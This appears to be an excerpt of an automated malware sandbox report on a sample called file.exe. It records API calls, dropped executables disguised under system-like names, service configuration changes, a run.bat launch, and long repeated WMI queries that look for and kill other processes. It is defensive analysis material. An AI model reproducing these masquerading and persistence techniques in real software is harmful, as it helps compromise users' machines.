Code function: 0_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,Module32Next,CloseHandle,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear,

0_2_004019F0

Source: C:\Users\user\Desktop\file.exe

0_2_004019F0

Source: C:\ProgramData\MicrosoftSystem\Wmiic.exe

Code function: 6_2_0000000140012160 _snwprintf_s,GetProcessHeap,HeapAlloc,ChangeServiceConfigW,GetProcessHeap,HeapFree,GetLastError,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,ChangeServiceConfig2W,GetLastError,

6_2_0000000140012160

Source: C:\ProgramData\MicrosoftSystem\Wmiic.exe

Code function: 6_2_000000014000A2E0 _snwprintf_s,PathQuoteSpacesW,GetModuleFileNameW,GetModuleFileNameW,PathQuoteSpacesW,TlsAlloc,GetStdHandle,StartServiceCtrlDispatcherW,GetLastError,

6_2_000000014000A2E0

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\SystemCache

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4984:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5348:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6980:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6696:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5628:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2696:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5480:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1896:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6188:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4400:120:WilError_03

Source: C:\ProgramData\MicrosoftSystem\svchosl.exe

File created: C:\Windows\TEMP\_MEI65122

Jump to behavior

Source: C:\Users\123.exe

Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\programdata\MicrosoftSystem\run.bat" "

Source: C:\Users\user\Desktop\file.exe	Command line argument: 08A	0_2_00413780
Source: C:\Users\123.exe	Command line argument: C:\users	3_2_00ECDF1E
Source: C:\Users\123.exe	Command line argument: sfxname	3_2_00ECDF1E
Source: C:\Users\123.exe	Command line argument: sfxstime	3_2_00ECDF1E
Source: C:\Users\123.exe	Command line argument: STARTDLG	3_2_00ECDF1E

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "wrm_modul_v2.exe")
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "rdp_modul_v1.exe")
Source: C:\Windows\SysWOW64\timeout.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "wrm_modul_v2.exe")
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "nl.exe")
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "ape_modul_v1.exe")
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "rdp_modul_v1.exe")
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "wrm_modul_v3.exe")
Source: C:\Windows\SysWOW64\net1.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "full_rdp_modul_v1.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "rdp_modul_v1.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "rdp_modul_v2.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "rdp_modul_v3.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "wrm_modul_v1.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "wrm_modul_v2.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "wrm_modul_v3.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "ape_modul_v1.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "rdp_modul_v1.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "full_rdp_modul_v1.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "rdp.exe")
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "wrm_modul_v2.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "wrm_modul_v4.exe")
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "wrm_modul_v3.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "nl.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "WerFault.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "rdp_modul_v1.exe")
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "IntelConfigService.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "rdp_modul_v2.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "rdp_modul_v3.exe")
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "rdp_modul_v1.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "wrm_modul_v1.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "wrm_modul_v2.exe")
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "full_rdp_modul_v1.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "wrm_modul_v3.exe")
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "nl.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "ape_modul_v1.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "full_rdp_modul_v1.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "rdp.exe")
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "wrm_modul_v4.exe")
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "ape_modul_v1.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "wrm_modul_v4.exe")
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "nl.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "nl.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "wrm_modul_v2.exe")
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "WerFault.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "WerFault.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "ape_modul_v1.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "rdp_modul_v1.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "rdp_modul_v2.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "rdp_modul_v3.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "wrm_modul_v1.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "wrm_modul_v2.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "wrm_modul_v3.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "ape_modul_v1.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "full_rdp_modul_v1.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "rdp.exe")
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "wrm_modul_v4.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "wrm_modul_v4.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "ape_modul_v1.exe")
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "nl.exe")
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "wrm_modul_v2.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "nl.exe")
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "WerFault.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "WerFault.exe")
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "full_rdp_modul_v1.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "migrate.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "IntelConfigService.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MSTask.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Superfetch.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "rdp_modul_v3.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Wmiic.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Wrap.exe")
Source: C:\Windows\SysWOW64\takeown.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "wrm_modul_v2.exe")
Source: C:\Windows\SysWOW64\schtasks.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "rdp_modul_v2.exe")
Source: C:\Windows\SysWOW64\takeown.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "wrm_modul_v3.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "rdp_modul_v1.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "nl.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "rdp_modul_v2.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "rdp_modul_v3.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "wrm_modul_v1.exe")
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "nl.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "nl.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "wrm_modul_v2.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "wrm_modul_v3.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "ape_modul_v1.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "rdp_modul_v3.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "full_rdp_modul_v1.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "rdp.exe")
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'SUPERFETCH.EXE'
